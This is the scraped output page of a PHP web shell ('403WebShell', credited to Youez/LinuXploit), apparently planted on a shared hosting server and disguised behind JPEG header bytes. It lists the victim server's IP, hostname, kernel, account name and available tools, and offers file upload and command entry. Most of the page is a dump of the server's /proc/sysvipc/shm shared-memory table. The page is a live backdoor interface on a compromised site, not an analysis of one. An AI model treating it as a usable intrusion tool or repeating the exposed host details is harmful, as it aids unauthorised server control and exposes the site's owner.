ÿØÿà JPEG ÿþ; 403WebShell
403Webshell
Server IP : 68.65.120.201  /  Your IP : 216.73.216.142
Web Server : LiteSpeed
System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : taxhyuvu ( 2294)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/self/root/proc/sysvipc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/self/root//proc/sysvipc/shm
       key      shmid perms                  size  cpid  lpid nattch   uid   gid  cuid  cgid      atime      dtime      ctime                   rss                  swap
         0  500531200  1600                672744 1481059 2771688      1   475   468   475   468 1755723094 1755723094 1754562879                675840                     0
         0  500531201  1600                694432 1481059 2771688      1   475   468   475   468 1755723094 1755723094 1754562881                696320                     0
         0  500531202  1600                716128 1481059 2771688      1   475   468   475   468 1755723094 1755723094 1754562884                716800                     0
      5555          4   644                  1024  6948 2929173      0     0     0     0     0 1754431916 1754431916 1713677244                  4096                     0
         0  500531206  1600                737816 1481059 2771688      1   475   468   475   468 1755723094 1755723094 1754562914                741376                     0
         0  500531207   600                759512 1481059 2771688      2   475   468   475   468 1755723094 1755723094 1754562916                761856                     0
         0  541032456  1600                524288 2766466 2770225      2  1197  1193  1197  1193 1755723061 1755723068 1755722998                  8192                     0
         0  541032457  1600                524288 2769037 2769038      1  2175  2152  2175  2152 1755723035 1755723048 1755723034                  8192                     0
-1354379232 1089470482   666                    18 1423101 3388763      0  2305  2276  2305  2276 1732574578 1732574578 1729034201                  4096                     0
         0  500498456  1600                   576 1481053 2771688      6   475   468   475   468 1755723094 1755723094 1754562816                  4096                     0
         0  500498457  1600               2993056 1481053 2771688      6   475   468   475   468 1755723094 1755723094 1754562816               2994176                     0
   5432001  500498458   600                    56 1482251 2770687      6    26    26    26    26 1755723076 1755723076 1754562817                  4096                     0
         0  500498459  1600                 21744 1481059 2771688      1   475   468   475   468 1755723094 1755723094 1754562817                 24576                     0
         0  500498460  1600                 43456 1481059 2771688      1   475   468   475   468 1755723094 1755723094 1754562819                 45056                     0
         0  500498461  1600                 65160 1481059 2771688      1   475   468   475   468 1755723094 1755723094 1754562821                 65536                     0
         0  500498462  1600                 86856 1481059 2771688      1   475   468   475   468 1755723094 1755723094 1754562824                 90112                     0
         0  500498463  1600                108560 1481059 2771688      1   475   468   475   468 1755723094 1755723094 1754562826                110592                     0
         0  500498464  1600                130312 1481059 2771688      1   475   468   475   468 1755723094 1755723094 1754562828                131072                     0
         0  500498465  1600                152008 1481059 2771688      1   475   468   475   468 1755723094 1755723094 1754562830                155648                     0
         0  500498466  1600                173712 1481059 2771688      1   475   468   475   468 1755723094 1755723094 1754562833                176128                     0
         0  500498467  1600                195408 1481059 2771688      1   475   468   475   468 1755723094 1755723094 1754562835                196608                     0
         0  500498468  1600                217112 1481059 2771688      1   475   468   475   468 1755723094 1755723094 1754562837                221184                     0
         0  500498469  1600                238816 1481059 2771688      1   475   468   475   468 1755723094 1755723094 1754562839                241664                     0
         0  500498470  1600                260544 1481059 2771688      1   475   468   475   468 1755723094 1755723094 1754562841                262144                     0
         0  500498471  1600                282240 1481059 2771688      1   475   468   475   468 1755723094 1755723094 1754562843                282624                     0
         0  500498472  1600                303944 1481059 2771688      1   475   468   475   468 1755723094 1755723094 1754562845                307200                     0
         0  500498473  1600                325632 1481059 2771688      1   475   468   475   468 1755723094 1755723094 1754562847                327680                     0
         0  500498476  1600                347328 1481059 2771688      1   475   468   475   468 1755723094 1755723094 1754562849                348160                     0
         0  500498477  1600                369016 1481059 2771688      1   475   468   475   468 1755723094 1755723094 1754562851                372736                     0
         0  500498478  1600                390704 1481059 2771688      1   475   468   475   468 1755723094 1755723094 1754562853                393216                     0
         0  500498479  1600                412400 1481059 2771688      1   475   468   475   468 1755723094 1755723094 1754562855                413696                     0
         0  500498480  1600                434096 1481059 2771688      1   475   468   475   468 1755723094 1755723094 1754562857                434176                     0
         0  500498481  1600                455784 1481059 2771688      1   475   468   475   468 1755723094 1755723094 1754562859                458752                     0
        30  113279026   666               2097152 539736 689161      0  2180  2155  2180  2155 1715668841 1715668841 1715177977                     0                  4096
      1347  113279027   666               1024000 539736 689161      0  2180  2155  2180  2155 1715668841 1715668841 1715177977                     0                  4096
         0  500498484  1600                477472 1481059 2771688      1   475   468   475   468 1755723094 1755723094 1754562861                479232                     0
      5183  113279029   666                    64 539736 539736      0  2180  2155  2180  2155 1715177977 1715177977 1715177977                     0                  4096
         0  500498486  1600                499168 1481059 2771688      1   475   468   475   468 1755723094 1755723094 1754562863                499712                     0
         0  500498487  1600                520856 1481059 2771688      1   475   468   475   468 1755723094 1755723094 1754562865                524288                     0
         0  500498488  1600                542544 1481059 2771688      1   475   468   475   468 1755723094 1755723094 1754562867                544768                     0
         0  500498490  1600                564240 1481059 2771688      1   475   468   475   468 1755723094 1755723094 1754562869                565248                     0
         0  500498491  1600                585936 1481059 2771688      1   475   468   475   468 1755723094 1755723094 1754562871                589824                     0
         0  500498492  1600                607632 1481059 2771688      1   475   468   475   468 1755723094 1755723094 1754562873                610304                     0
         0  500498493  1600                629336 1481059 2771688      1   475   468   475   468 1755723094 1755723094 1754562875                630784                     0
        12  113311806   666                512000 587844 2534451      0  2180  2155  2180  2155 1715612701 1715613601 1715178725                     0                  4096
         0  500498495  1600                651040 1481059 2771688      1   475   468   475   468 1755723094 1755723094 1754562877                651264                     0
         0  539000896  1400                205856 3752847 3752847      1   484   479     0     0 1755666920 1755666920 1755666920                208896                     0
         0  539000897  1400                206360 3752847 3752847      1   484   479     0     0 1755666920          0 1755666920                208896                     0
         0  540999750  1600                524288 2750489 2769681      1  3926  3922  3926  3922 1755723049 1755723061 1755722904                  8192                     0

Youez - 2016 - github.com/yon3zu
LinuXploit